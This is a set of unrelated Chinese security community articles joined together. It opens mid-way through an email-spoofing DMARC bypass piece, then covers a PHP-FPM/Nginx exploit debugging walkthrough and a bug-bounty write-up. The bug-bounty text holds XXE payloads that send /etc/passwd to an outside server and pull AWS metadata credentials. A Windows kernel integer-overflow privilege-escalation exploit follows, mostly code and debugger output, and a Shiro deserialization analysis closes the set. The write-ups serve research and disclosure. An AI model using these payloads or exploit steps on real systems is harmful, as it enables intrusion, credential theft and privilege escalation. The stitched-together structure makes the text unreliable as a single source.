1.攻击者拥有一个a.com的user账号密码
2.电子邮件提供端使用AUTH命令中携带的用户密码对MUA进行身份认证
3.进行DKIM签名后发送邮件到攻击者的attack.com
4.攻击者添加重复的From头以及重复的To头，重放给victim邮件服务器
5.其DKIM组件可能只验证原始的From报头，从而通过DKIM认证
6.配合其他SPF绕过方式组合最终绕过DMARC校验
## 0x04 如何防御
1.使用强校验模式进行DMARC验证
2.用户UI需要更明确的安全提示
3.永远不要轻易相信收件人地址
## 0x05 写在后面
如果想在某些攻防项目中大规模使用上述相关邮件伪造手法，通过部分实践，觉得你要有几点需要解决：
1.组合拳
了解每个绕过方式的作用，根据想要伪造的邮服防护措施来定制组合绕过方法
2.发信源
拥有可以使用25端口并且可以大批量发送邮件的可信IP源 | 社区文章 |
本来只是想验证一下漏洞，但是[Emil Lerner大佬的EXP](https://github.com/neex/phuip-fpizdam)一直用不了，[LoRexxar大佬的分析](https://paper.seebug.org/1063/)省略了一些关键信息也看不懂（好吧主要还是太菜了），只能自己动手调一遍了，还好[90sec的maple大佬](https://forum.90sec.com/t/topic/558)分析的很详细，不然感觉调不出来。。
### 0x00 漏洞成因
万恶之源，就是Nginx处理url的正则有个bug，在解析的时候把`path_info`置空了
### 0x01 漏洞利用
首先是Nginx这个点，加了换行然后就匹配不了，很像之前CTF题里面的情况，于是也下了Nginx源码调试了一下，发现正则处理是调用的`libpcre.so`，PHP调用正则时也是用的这个库
这里直接用PHP来模拟Nginx的处理过程。这是不带%0A的字符串，可以正常匹配
%0A在字符串中间的时候，`libpcre`会直接不匹配。
在结尾的时候又可以匹配了。
具体实现可能跟pcre正则的状态机有关，这里就不再深入了。
开始调`PHP-FPM`，这里我下载的是[7.3.10](https://github.com/php/php-src/tree/PHP-7.3.10)的版本的源码，为了进行调试，编译的时候需要加上`enable debug`的选项
./configure --prefix=/root/php7.3.10 --enable-phpdbg-debug --enable-debug --enable-fpm CFLAGS="-g3 -gdwarf-4"
Nginx的配置
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
include fastcgi_params;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_index index.php;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /opt/nginx-src/nginx-branches-stable-1.10/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /opt/nginx-src/nginx-branches-stable-1.10/html;
fastcgi_pass 127.0.0.1:9000;
}
一切准备就绪之后，用gdb连上php-fpm，漏洞函数`init_request_info`打上断点,然后在burp发包，现在已经进到这个函数
获取Nginx传过来的`PATH_INFO`参数，可以看到是值是空的
这里涉及到几个参数
对`path_info`赋值，因为`env_path_info`指针的指向虽然是空的，但`env_path_info`的值是指针的地址，而且`pilen`是0，所以`path_info`得到的是`env_path_info`指针向上偏移`slen`的值
这里有个关键的点就是`fcgi_hash_bucket`和`fcgi_hash_seg`这两个结构。
`fcgi_hash_bucket`是一个哈希表，保存着请求的环境变量的键值对：
`fcgi_hash_seg`就是保存这些键值对的地方，前面是3个8字节的指针`pos`（下一个要插入的变量的位置）、`end`（当前`fcgi_hash_seg`的`data`块的终点）、`next`（下一个`fcgi_hash_seg`的位置），后面的`data`就是连续的键值对，`fcgi_hash_bucket`中的指向就在这里：
当一个`fcgi_hash_seg`到达一定大小后，再插入变量会重新分配一个`fcgi_hash_seg`，所以通过调整其他参数，可以看到前面提到的`env_path_info`刚好是位于一个新块的开头
而`path_info`指针减去了`len('PHP_VALUE%0Aauto_prepend_file=a;;;;')`之后，刚好指向了`fcgi_hash_seg`的`pos`指针的最低位
接着把这一位置零，置零前
置零后
跟进`FCGI_PUTENV`函数
进入`fcgi_hash_set`函数，这里向前面提到的`fcgi_hash_seg`的`pos`指针指向进行了两次写操作，第一次是写参数名，第二次才是要写进去的php环境变量
参数名写完之后，`pos`指针往后移了`0x11`，现在开始写`PHP_VALUE`
前面提到`fcgi_hash_bucket`是一个哈希表，所以php-fpm获取环境变量时也是根据哈希来获取，所以单单把`PHP_VALUE`写进去是不行的，获取的时候会判断哈希和长度，EXP的作者是fuzz出了跟它长度一样、hash也一样的变量`HTTP_EBUT`，最后是需要把`PHP_VALUE`覆盖到这个`HTTP_EBUT`上即可。由于长度可控，所以多余的字符不会影响变量读取。上一张图可以看到`str`开头并不是`PHP_VALUE`，`h->data->pos`开头也不是`HTTP_EBUT`，那是因为str前面还有11个字节的`/index.php/`，因此`h->data->pos`还需要往后移11字节完成对齐，完成这个工作的，就是在它前面新添加的http头。
最后为了演示简单，我就只写了`auto_prepend_file=a`这个php变量，并在html目录下新建了a文件，最终完成攻击。
还是要感叹一下大佬的运气，这得多少巧合才能触发这个异常，(m __ )n
### 0x02 Reference
* [https://blog.csdn.net/daniel_ustc/article/details/10282103]()
* [https://forum.90sec.com/t/topic/558]()
* [https://paper.seebug.org/1063/]()
* [https://github.com/neex/phuip-fpizdam]() | 社区文章 |
# 从XXE到AWS元数据泄露
|
##### 译文声明
本文是翻译文章，文章原作者 AlMadjus，文章来源：almadj.us
原文地址：<https://almadj.us/infosec/xxe-to-aws-metadata-disclosure/>
译文仅供参考，具体内容表达以及含义原文为准。
最近，我在HackerOne上的一个私人漏洞计划上发现了一个关键漏洞，让我可以获得他们的亚马逊网络服务根密钥。正因为如此，该漏洞被评为10.0级危急，是最高级别的。
我用我的自定义词表通过[ffuf](https://github.com/ffuf/ffuf)运行了这几个子域名并查看其结果。其中一个子域名，最初只是呈现一个空白页，当我进入`//foo`路由时，有一个有趣的页面；注意2个斜杠。在10分钟内，我就发现这里有一个XSS，这个URL被映射在一个啰嗦的错误页面中，我得到了反射型XSS，查询参数中有一个有效载荷。不过后来发现该漏洞是重复的。
几天后，我回来了，想对这个子域进行更深入的研究。在GitHub上，我找到了这个子域的测试凭证和登录有效载荷的仓库，并决定对它进行测试。如果没有GitHub的这个泄漏，我永远不会知道这里有一个登录功能，因为它在任何地方都没有呈现。路径相当晦涩，没有被我的爆破词库收录。
我能够用测试凭证登录，并得到一个允许我上传文件的令牌。由于POST有效载荷是XML，我决定通过测试XXE DTD（XML eXternal Entity
Document Type Declaration）来深入测试。
我唯一能调用DTD的地方是在密码字段，用户名是由URL路径定义的。我使用了一个基本的POST有效载荷：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [<!ELEMENT passwd ANY>
<!ENTITY xxe SYSTEM "http://webhook.site/foo" >]>
...
<passwd>&xxe;</passwd>
POST数据发送过去后，我的`webhook.site`接收到服务请求。这样我就知道DTD已经启用了。我还试着在web服务器上查询一个文件，但没有成功。
下一步是尝试检索一个外部DTD。我把`http://webhook.site/foo` 改成了一个虚拟的自托管 DTD，并观察到 Web
应用程序获取了这个文件。
现在我已经拥有了所有需要的东西，可以尝试读取web应用服务器上的文件，并将其内容发送到我自己的服务器上。我发送了一个这样的有效载荷：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [!ENTITY % file SYSTEM "file:///etc/passwd"> [<!ENTITY % xxe SYSTEM "http://myserver.com/pwn.dtd"> %xxe; ]>
...
<passwd>&send;</passwd>
而下面自带的DTD为pwn.dtd：
<!ENTITY % all "<!ENTITY send SYSTEM 'http://myserver.com/?data=%file;'>"> %all;
然而，它并没有像预期的那样工作。虽然Web应用程序确实获取了我的DTD，但我从来没有得到后续的`?data`请求，而是在应用程序中得到了一个错误信息。原来是`/etc/passwd`中的特殊字符破坏了GET请求。
在检查我自己的Linux系统有无特殊字符的单行文件时，我发现了`/etc/hostname`，我就能读取它的内容了。我仍然不满意这样的影响，但我希望能够读取系统中的任何文件，所以我试着通过FTP在应用程序响应中进行外链。不过这些都没有用，所以我把这个漏洞报告给HackerOne，说是一个影响很大的XXE
DTD本地文件包含（LFI）。
第二天，我一直在猜测这个漏洞。我对影响并不满意，想试着找一些方法来排查任意文件。分配给我的报告的HackerOne
triager希望我也尝试着去排查另一个文件，不过他们对这是一个单行文件也没有意见。
我和[Dee-see](https://twitter.com/dee__see)（伟大的黑客！）聊了聊，他给我发了一个使用`jar:`协议提取文件的链接：
<https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf>
> 我翻译过这篇blackhat的议会主题：<https://www.anquanke.com/post/id/231472>
从上面的链接中改编了DTD文件内容，我又试着将`/etc/passwd`导出。
<!ENTITY % all "<!ENTITY send SYSTEM 'jar:%file;/myserver.com!/'>"> %all;
而且它真的成功了!
虽然不是作为一个出站的LFI，我能够在服务器的响应中读取整个`/etc/passwd`！我向HackerOne报告了这一情况，他们将我的报告归类为高危害等级。关于`jar:`协议的更多信息，请看[这个](https://gosecure.github.io/xxe-workshop/#7)。它实际上是用来读取`.zip`或`.jar`文件中的文件。不过不知怎么的，它破坏了网络应用，让我可以读取任何文件的内容。
不过我对我的报告还是不完全满意，我一直在想我也许能把这个问题提升到一个更严重的问题。我试着扫描服务器的开放端口，想着也许我可以得到SSH密钥并登录，但只有80和443端口是开放的。然后我问HackerOne是否允许我在服务器上尝试更深的测试，他们同意了。
通过只在文件实体中提供`file:///`，我能够读取一个目录的内容，但我无法读取`/proc/self/environ`，它可能存储了AWS的元数据；同样一些特殊字符破坏了流程。于是我想到把LFI变成SSRF（Server
Side Request Forgery），查询典型的AWS元数据端点`http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE`。
当然我不知道`user_role`的值，但通过访问`http://169.254.169.254/latest/meta-data/iam/security-credentials/`，web应用程序很好心地在错误信息中向我透露了他们的信息!
我在HackerOne上向程序报告了这件事，他们将严重程度改为10.0的评价。后来我获得了2000美元的赏金。
我从这件事中学到了什么？总是尝试深入挖掘，不要满足于报告一些事情，除非你已经尝试了一切来提高严重性。当然，如果有疑问，要征求许可。我不喜欢在没有明确许可的情况下撸穿公司的生产服务器，但他们很理解我，并允许我继续进行，只要我不改变或访问敏感数据。 | 社区文章 |
# DARK COMPSITION KERNEL EXPLOITATION CASE STUDY整型溢出
##### 译文声明
本文是翻译文章，文章原作者 k0shl，文章来源：whereisk0shl.top
原文地址：<https://whereisk0shl.top/post/2018-01-17>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
2018年开年第一篇博客，感谢大家一年来对我博客的支持，希望2018年能继续输出一些技术，也给大家拜个早年，祝大家新年身体健康，工作顺利，学业进步，红包多多，0day多多！
这篇的基础是360 vulcan team的邱神和社哥在cansecwest2017的议题《Win32k Dark
Composition－－Attacking the Shadow Part of Graphic
Subsystem》，我2017年在博客发了第一篇（地址：<https://whereisk0shl.top/Dark%20Composition%20Exploit%20in%20Ring0.html>）关于议题中的第一个double
free漏洞demo的exploit过程，这篇文章则是对另一个integer
overflow漏洞demo的exploit过程，我利用这两天时间完成了这个win32kbase.sys中的整型溢出漏洞的exploit，和大家分享一下从漏洞分析到完成exploit的过程，以及一些疑惑和坑，也请师傅们多多交流讨论，感谢阅读！
目标环境：Windows 10 x86 build 1607 14393.0（我将在第二节提到为什么是32位环境）
我会默认师傅们已经看过邱神和社哥议题的slide以及poc（<https://github.com/progmboy/cansecwest2017>），这里重复的内容就不再做赘述。
## 0x01 我的疑惑
把这个问题放在前面是因为我觉得这个问题很有意思，感觉也是可以解决的，但是可能因为我比较菜，在关于内核的一些方面学习不够深入，所以还未解决问题，所以一开始抛出这几个问题，希望能和师傅们交流解决。
关于问题的详细内容可以在后面对漏洞分析和exploit的过程中得到印证。
这个问题主要在于为什么使用32位系统来完成exploit，原因是64位系统在DirectComposition::CPropertyBagMarshaler::SetBufferProperty函数实现上与32位的一些区别，这点在slide中也提及，那就是其中的databuf部分不能为0，在这种情况下需要提前设置property的值为2，这样能够在SetBufferProperty的时候申请一个池来令databuf的值不为0，而是一个指针指向申请的池。
在我的研究时发现这个池的size必须小于0xC，这样才能保证在UpdatePropertyValue的时候触发整型溢出，这样Alloc
pool的时候申请的pool大小最小是0x20，这样就存在一个问题，在x64下的时候，我们需要一个可预测的池，这样才能保证后面实现任意地址读写，但0x20这个pool
size是个很尴尬的size，一会会提到。
我尝试了两种方法来完成x64下的exploit，第一种是pool spray，第二种是通过accelerator，通过这两种方法，可以将data
attack的关键组件pool布局在setbufferproperty申请的pool的后面。
首先第一种方法是通过pool
spray来制造一个0x20的hole，之后把bitmap布置在hole的后面，这样我们要任意地址写的部分相对hole就固定了，我们就可以精准的写bitmap的pvscan0，最后完成data
attack。
通过这种方法可以制造一个0x20的pool hole，然后可以利用整型溢出覆盖到布局在后面bitmap的pvscan0，从而完成data
attack，但是这种情况有问题，一会会提到。
关于这种制造池空洞的pool
fengshui方法有很多好文章，这里推荐这篇：https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html
第二种方法是利用Accelerator，利用的方法我在以前的文章中也提到过，通过Accelerator和gsharedinfo
table来制造一个稳定的pool hole，并且泄露出地址，这个pool
hole用于存放setbufferproperty的pool和bitmap的pool，这样我们可以通过比较，让申请的bitmap在setbufferproperty的pool后面。
关于这种申请稳定pool hole并且泄露的方法可以参照我的文章：https://www.anquanke.com/post/id/85579
在尝试的过程中发现了一些问题，主要是关于0x20的size，这个pool的大小太小了，在这种情况下申请池会走lookaside
list这种快表，在申请的过程中会优先从lookaside list链表中选取符合大小的pool，这样导致pool
hole很难占位，当然，我以前在网上看过一篇kernel exploit的文章，作者申请了0x70大小的pool，作者通过申请大量的0x70
pool先把lookaside list占满，然后就会申请到制造的pool hole的空间。
我同样尝试了这种方法，但是发现0x20这个size的pool太多了，不知道如何能够保证每次都稳定申请到pool hole，所以这种pool
spray的方法就耽搁下来了。
第二种方法Accelerator，最小申请不到0x20的空间，所以这个pool
hole我也尝试失败了，所以在64位下我没有完成利用，主要就是这个问题没有得到解决，如果有师傅有思路可以和我交流，我会去尝试新的方法解决！一起开开脑洞～
## 0x03 漏洞分析与利用
下面进入关于这个漏洞的正题，我们在32位下完成这个漏洞的利用，在32位下默认databuf的指针值是null，但这不会影响到后续的利用，这个漏洞是win32kbase.sys中的一处整型溢出，首先来看一下函数外层。
signed int __thiscall DirectComposition::CPropertyBagMarshaler::SetBufferProperty(DirectComposition::CPropertyBagMarshaler *this, struct DirectComposition::CApplicationChannel *a2, unsigned int a3, void *a4, size_t a5, bool *a6)
{
__int32 v6; // esi@1
DirectComposition::CPropertyBagMarshaler *v7; // ebx@1
v6 = 0;
v7 = this;
if ( a3 )
{
if ( a3 == 1 ) // *(DWORD*)((PUCHAR)pMappedAddress + 8) = 1;
{
if ( a5 >= 0x10 ) // databuf size
{
memcpy(&v20, a4, a5);
v8 = DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue(v7, (const struct PropertyUpdate *)&v20, a5);// *v7 = null
goto LABEL_5;
}
}
当property也就是a3设置为1的时候，会判断size的大小，当size大于0x10时会调用updateproperty，整型溢出就发生在这个函数中。
__int32 __thiscall DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue(DirectComposition::CPropertyBagMarshaler *this, const struct PropertyUpdate *a2, unsigned int a3)
{
v3 = this; // databuf size 0x20
v4 = *((_DWORD *)a2 + 2); // control
// [edx+8] = &bitmap height
if ( v4 < *((_DWORD *)this + 8) - 12 ) //integer overflow!!!
{
v5 = *((_DWORD *)a2 + 3); // DataBuf offset edx be controled
// [edx+0Ch] = 0x45
v6 = v4 + *((_DWORD *)this + 7); // bitmap height = 0x45 = DataBuf size -> + default 0
if ( *(_DWORD *)v6 != v5 ) // must equal
return -1073741811;
if ( v5 <= 69 )
{
if ( v5 != 69 )
{
//do something
}
if ( a3 == 32 ) // pMappedAddress = 0x20
{
v17 = (_DWORD *)(v6 + 12); // height + 0xc = pvScan0
*v17 = *((_DWORD *)a2 + 4); // [edx+0x10] = workBitmap pvScan0
v14 = (char *)a2 + 20;
v15 = v17 + 1;
goto LABEL_32;
}
return -1073741811;
}
return -1073741811;
}
问题发生在 v4 < *((_DWORD _)this + 8) –
12这行代码，默认this＋8里存放的值是null，在x64下，需要在这个位置赋值，当这里的值为null，则_ ((_DWORD *)this + 8) –
12的时候会等于0xfffffff4，这个值是一个无符号型，所以是个极大值，那么v4是可控的，可以赋值一个几乎包含整个内存空间的值，这样就可以在后续a3=＝32这个if语句中完成对任意地址的写。
.text:00048251 ; 23: if ( v4 < *((_DWORD *)this + 8) - 12 )
.text:00048251 mov eax, [ebx+20h]
.text:00048254 sub eax, 0Ch//整型溢出
.text:00048257 cmp esi, eax
.text:00048259 jnb loc_9E090
我们来看一下任意地址写的过程，在此之前，我们要了解a2的值是szbuf，这个值我们是可以在代码中定义的，this值是szbuf的拷贝，这个操作会在setbuffproperty函数中调用updatepropertyvalue函数前的memcpy(&v20,
a4, a5);中拷贝，同样这个值也是可控的。
v4 = *((_DWORD *)a2 + 2); //v4的值可控，就是szbuf里面的值
……
v5 = *((_DWORD *)a2 + 3); //v5的值同样可控，我们要令这个值为0x45
v6 = v4 + *((_DWORD *)this + 7); //this+7的值可控，和v4值相加之后是v6，也可控
……
if ( *(_DWORD *)v6 != v5 ) //这行十分关键，v6可控，但v6中存放的值必须和v5相等，也就是说
//v6的值必须为0x45
return -1073741811;
……
//只有v5＝0x45才能到这个if语句
if ( a3 == 32 ) // a3的值是size，可以在代码中定义，我们令a3为0x20
{
v17 = (_DWORD *)(v6 + 12); // v6值可控，v17的值也可控
*v17 = *((_DWORD *)a2 + 4); // 任意地址写！这里可以将可控值写到可控地址
v14 = (char *)a2 + 20;
v15 = v17 + 1;
goto LABEL_32;
}
根据上述分析的情况，我们就可以在代码中实现对szbuf的控制
*(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = hResource;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 1;//这里将property置为1
//*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = sizeof(szBuff);
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 0x20;//这里是关键，令size为0x20
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, sizeof(szBuff));
这样，我们就完成了一个基本漏洞利用场景的构建，接下来我们就需要决定利用 _v17 =_ ((_DWORD *)a2 + 4); 这行代码往哪个地址写些什么。
这里我决定用bitmap这种data
attack的方法来完成利用，因为首先根据我们刚才的分析，v6这个值必须为0x45，而v6+0xC的位置是我们要写任意值的位置，如果看过bitmap相关利用文章的师傅们会知道利用bitmap.pvScan0就可以实现data
attack，完成任意地址读写，而bitmap.pvScan0 – 0xC的值是nHeight，这个值用户可控。
所以，在32位下我们甚至连pool fengshui都不需要做，只需要制造一个bitmap并且能将bitmap的kernel object
address泄露出来，然后精准布局szBuf即可。
接下来我们来完成最后的利用，首先是利用Accelerator来制造一个稳定的hole并且通过gsharedinfo泄露出来，这里有个比较特殊的地方，由于我们需要控制bitmap的nheight，因此需要在createbitmap的时候控制第二个参数BitmapInfo.hBitmap
= CreateBitmap(0x200, 0x45, 1, 1, 0); // nHeight should be 0x45。
这样我们需要来控制申请pool的大小，这里我逆向了createbitmap和createacceleratortable函数。
kd> kb
ChildEBP RetAddr Args to Child
ac147a9c 946ea1aa 00000021 00000290 35306847 win32kfull!Win32AllocPoolImpl+0x35
ac147abc 946e6da2 00000001 ac147b90 00000004 win32kbase!PALLOCMEM2+0x24
ac147ad4 946e72ce 00000290 00000005 00000001 win32kbase!AllocateObject+0xe2
ac147b40 946d43a9 ac147b90 00000000 00000000 win32kbase!SURFMEM::bCreateDIB+0x30e
ac147bac 988f085d 00000001 00000045 00000001 win32kbase!GreCreateBitmap+0xe9
ac147bf8 81d502c7 00000001 00000045 00000001 win32kfull!NtGdiCreateBitmap+0x33
kd> kb
ChildEBP RetAddr Args to Child
abc32b5c 946f9e87 00000102 63617355 00a72e90 win32kbase!Win32AllocPoolWithQuotaZInit+0xc
abc32b84 989044d5 a24b8428 00000000 947a4a5c win32kbase!HMAllocObject+0x1e7
abc32bcc 98904486 7c04caef 00a72da0 0076f8d0 win32kfull!_CreateAcceleratorTable+0x29
abc32c04 81d502c7 00a72da0 00000028 0076f8e0 win32kfull!NtUserCreateAcceleratorTable+0x5e
这里的win32kfull!_CreateAcceleratorTable中找到了关于accelerator申请大小的地方。
int __stdcall NtUserCreateAcceleratorTable(unsigned int a1, unsigned int a2)
v3 = 6 * a2;//a2 = Accelerator第二个参数
if ( 6 * a2 )
{
v4 = *(_BYTE **)_W32UserProbeAddress;
if ( v3 + a1 > *(_DWORD *)_W32UserProbeAddress || v3 + a1 < a1 )
goto LABEL_10;
}
LABEL_6:
ms_exc_20 = -2;
v5 = (int *)_CreateAcceleratorTable((const void *)a1, v3);
这里就是createaccelerator中第二个参数与6相乘，因此只需要在createbitmap中找到ExAllocatePoolWithTag前的size大小，然后算出createacceleratortable第二个参数的大小就能申请相同的hole了。
随后通过我们的布局，我们可以跟踪整个利用的过程，对比之前我对setbuffproperty->updatepropertyvalue过程的分析。
kd> p
win32kbase!DirectComposition::CPropertyBagMarshaler::SetBufferProperty+0x38:
946f8670 83ff10 cmp edi,10h
kd> r edi//首先比较size大小，这里我们已经置为0x20
edi=00000020
……
//managerbitmap的地址是0x8c8e1000，workerbitmap的地址是0x8c8e3000
kd> p
win32kbase!DirectComposition::CPropertyBagMarshaler::SetBufferProperty+0x42:
946f867a 51 push ecx
kd> dd b7580010 l5//可以看到szbuf的覆盖情况，其中+0x8h的地方是bitmap中pvscan0-0xc的值，+0xc是0x45
// +0x10是workerbitmap的pvscan0
b7580010 71def72d 58ac0714 8c8e1024 00000045
b7580020 8c8e3030
kd> r ecx
ecx=b7580010
……
kd> p//漏洞触发
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x12:
946f8254 83e80c sub eax,0Ch//integer overflow
kd> p
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x15:
946f8257 3bf0 cmp esi,eax
kd> r esi
esi=8c8e1024//比较的值是managerbitmap，由于整数溢出，所以这个值会比0xfffffff4小，可以通过判断
kd> r eax
eax=fffffff4//integer overflow是个无符号数，极大值
……
kd> p//与0x45比较，eax的值已经通过szbuf布局
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x2a:
946f826c 83f845 cmp eax,45h
kd> p
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x2d:
946f826f 7e37 jle win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x66 (946f82a8)
kd> r eax
eax=00000045
……
kd> p//任意地址写！
win32kbase!DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue+0x55eb8:
9474e0fa a5 movs dword ptr es:[edi],dword ptr [esi]
kd> r esi
esi=a42aca90
kd> dd esi l1
a42aca90 8c8e3030
kd> r edi
edi=8c8e1030
kd> dd 8c8e1030 l1
8c8e1030 8c8e117c
到这里我们完成了对managerbitmap的pvscan0的写入，写入的内容是workerbitmap的pvscan0地址，这样我们就完成了data
attack的准备工作，但是到这里的时候，我执行后面的任意地址读写的时候触发了BSoD bugcheck。
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 87a98104, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 988e91ea, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
FAULTING_IP:
win32kfull!bDoGetSetBitmapBits+4a
988e91ea 8b0c8560a5aa98 mov ecx,dword ptr win32kfull!galBitsPerPixel (98aaa560)[eax*4]
后来我检查了一下，发现是szbuf的写入有问题，在updatepropertyvalue函数中，是连续写入的，也就是除了写入我们想要的bitmap.pvscan0，还在写入想要值之后，还写入了一些junk
data。
.text:0009E0FA movsd //写入bitmap.pvscan0
.text:0009E0FB ; 48: *v15 = *(_DWORD *)v14;
.text:0009E0FB ; 49: v19 = (int)(v14 + 4);
.text:0009E0FB ; 50: v18 = (int)(v15 + 1);
.text:0009E0FB
.text:0009E0FB loc_9E0FB: ; CODE XREF: DirectComposition::CPropertyBagMarshaler::UpdatePropertyValue(PropertyUpdate const *,uint)+55E76j
.text:0009E0FB movsd //写入了junk data
.text:0009E0FC ; 51: *(_DWORD *)v18 = *(_DWORD *)v19;
.text:0009E0FC movsd //写入了junk data
.text:0009E0FD ; 52: *(_DWORD *)(v18 + 4) = *(_DWORD *)(v19 + 4);
.text:0009E0FD movsd //写入了junk data
这部分数据覆盖了bitmap的kernel object，需要对szbuf再做一点fix。
kd> dd 8c93f000
8c93f000 c4050ace 00000001 00000000 00000000
8c93f010 00000000 c4050ace 00000000 00000000
8c93f020 00000200 00000045 00001140 8c93f17c
8c93f030 8c941030 ea3da585 ca8bfc2f 7bbfb6e9//key!!!这里写入了一些junk data，影响了kernel object
//对szbuff进行fix
CopyMemory(szBuff+0x14, &lpFakeBitmapElement_1,0x4);
CopyMemory(szBuff+0x18, &lpFakeBitmapElement_2,0x4);
CopyMemory(szBuff+0x1C, &lpFakeBitmapElement_3,0x4);
最后我们完成提权。
## 0x04 参考资料
[https://github.com/progmboy/cansecwest2017](https://github.com/progmboy/cansecwest2017)
[https://github.com/k0keoyo/Dark_Composition_case_study_Integer_Overflow](https://github.com/k0keoyo/Dark_Composition_case_study_Integer_Overflow)
[https://whereisk0shl.top/Dark%20Composition%20Exploit%20in%20Ring0.html](https://whereisk0shl.top/Dark%20Composition%20Exploit%20in%20Ring0.html)
[https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html](https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html)
[https://www.anquanke.com/post/id/85579](https://www.anquanke.com/post/id/85579)
[https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf](https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf) | 社区文章 |
# Java反序列化利用链分析之Shiro反序列化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在跟了一遍commons-collections系列的payload后，终于可以开始解决一下当时对shiro反序列化模凌两可的认识了。
当前，不管是国内实际的xx行动还是ctf比赛，shiro反序列化会经常看到。但在实际利用这个漏洞的时候，会发现我们无法在tomcat下直接利用shiro原生的`commons-collections:3.2.1`（原因后面说）。
我们前面已经对commons-collections系列利用链的分析，今天就来根据学到的知识来解决这个问题。
本文讨论了shiro-1.2.4版本无法直接利用现有的ysoserial利用链，并提出了相应的解决方案。
## 0x01 环境准备
这里用的是[shiro-root-1.2.4](//github.com/apache/shiro)的samples/web环境，clone下来后执行`git checkout
shiro-root-1.2.4`
利用脚本参考的[知道创宇的一篇分析](//blog.knownsec.com/2016/08/apache-shiro-java/)
ysoserial用的0.0.6版本`https://github.com/frohoff/ysoserial`
先来讲一下，关于环境方面遇到的坑：
1\. 在部署过程中，遇到了[The absolute uri: http://java.sun.com/jsp/jstl/core cannot be
resolved in either web.xml or the jar files deployed with this
application](https://stackoverflow.com/questions/8701307/the-absolute-uri-http-java-sun-com-jsp-jstl-core-cannot-be-resolved-in-either)的错误
这里的解决方案是修改pom.xml
添加jstl的具体版本即可解决。
2\. serialVersionUID不一致导致无法反序列化的问题
这里可能在你的实验环境下不一定会遇到，我的实验环境和ysoserial生成的某几个类的serialVersionUID不一致，导致无法正常反序列化。
在实战中你可以采用[这篇文章](http://www.yulegeyu.com/2019/04/01/Generate-all-unserialize-payload-via-serialVersionUID/)处理方法，这里我的解决方案是直接同步个`commons-collections:3.2.1`版本，在生成war包前，在pom.xml加入
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>runtime</scope>
</dependency>
## 0x02 前景回顾
16年的时候，shiro爆出了一个默认key的反序列化漏洞。至今已有大量的分析文章分析了该漏洞的原理，所以本文不再重复分析该漏洞的相关原理，可以参考以下几篇文章的分析：
* 1.<https://blog.knownsec.com/2016/08/apache-shiro-java/>
* 2.<https://blog.zsxsoft.com/post/35>
* 3.<http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html>
除了1中在漏洞环境下添加了`commons-collections:4.0`，另外两篇文章均提到了在tomcat下无法直接利用`commons-collections:3.2.1`的问题。接下来我们就来看看是什么原因吧：）
`org.apache.shiro.io.DefaultSerializer.deserialize:67`
这里我们直接看反序列化发生的点，第75行使用了`ClassResolvingObjectInputStream`类而非传统的`ObjectInputStream`.这里可能是开发人员做的一种防护措施？
他重写了`ObjectInputStream`类的`resolveClass`函数，我曾在第一篇[基础文章](http://blog.0kami.cn/2019/10/24/study-java-deserialized-commonscollections3-1/)中分析过Java反序列化的过程，`ObjectInputStream`的`resolveClass`函数用的是`Class.forName`类获取当前描述器所指代的类的Class对象。而重写后的`resolveClass`函数
采用的是`ClassUtils.forName`，我们继续看这个forName的实现。
来看看这个`ExceptionIgnoringAccessor`是怎么实现的
这里实际上调用了`ParallelWebAppClassLoader`父类`WebappClassLoaderBase`的`loadClass`函数（可以直接下断点看看内容）。
该loadClass载入按照上述的顺序（这里不贴代码了，找到`org.apache.catalina.loader.WebappClassLoaderBase.loadClass`即可），先从cache中找已载入的类，如果前3点都没找到，再通过父类`URLClassLoader`的`loadClass`函数载入。但是实际上此时loadClass的参数name值带上了数组的标志，即`/Lorg/apache/commons/collections/Transformer;.class`，在参考的第二篇文章里有提到这个问题，所以导致shiro无法载入数组类型的对象。
那么如何才能真正的利用`commons-collections:3.2.1`来构造利用链呢？
